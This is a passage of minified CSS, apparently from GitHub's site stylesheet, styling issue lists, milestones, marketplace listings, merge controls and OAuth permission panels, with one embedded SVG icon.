li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions 